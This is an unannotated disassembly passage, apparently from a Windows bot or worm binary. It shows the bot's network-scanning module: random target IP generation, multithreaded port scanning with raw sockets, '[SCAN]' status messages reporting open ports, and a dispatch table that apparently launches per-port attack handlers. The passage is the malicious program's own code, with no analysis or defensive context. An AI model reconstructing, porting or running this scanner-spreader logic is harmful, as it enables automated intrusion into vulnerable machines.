		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F40
		mov	ecx, offset dword_449968
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8085
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445430[eax*4]
		inc	ecx
		mov	dword_445430[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAB8
		nop
		call	sub_5F74D1
		mov	eax, offset dword_50FAB8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB60[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50DB60[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr 77C41B72h
		nop
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi	; rand


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB60[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		call	near ptr 71AB94DCh
		nop
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5F74D1
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456EC


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27E0C04h
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF9Bh[eax*4]
		mov	eax, dword_44B19F[eax*4]
		mov	ecx, dword_50DB64[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, off_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5F74D1
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_5F74D1
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FAA0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5F74D1
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FAA0
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5F74D1
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:445400h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5F74D1
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx ; sub_5F74D1
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44542C[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		nop
		call	near ptr 2830000h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB64[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 2830135h
		nop
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB60[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FAA0
		nop
		call	near ptr 2780835h
		push	offset dword_50FAA0
		nop
		call	near ptr 2790000h


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB64[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5F74D1
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B19F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B1AF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B1AF[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		call	near ptr 27C093Ah
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5F74D1
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB64[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB64[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB60[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5F74D1
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB64[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FAA0
		nop
		call	near ptr 2780835h


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 2830135h
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
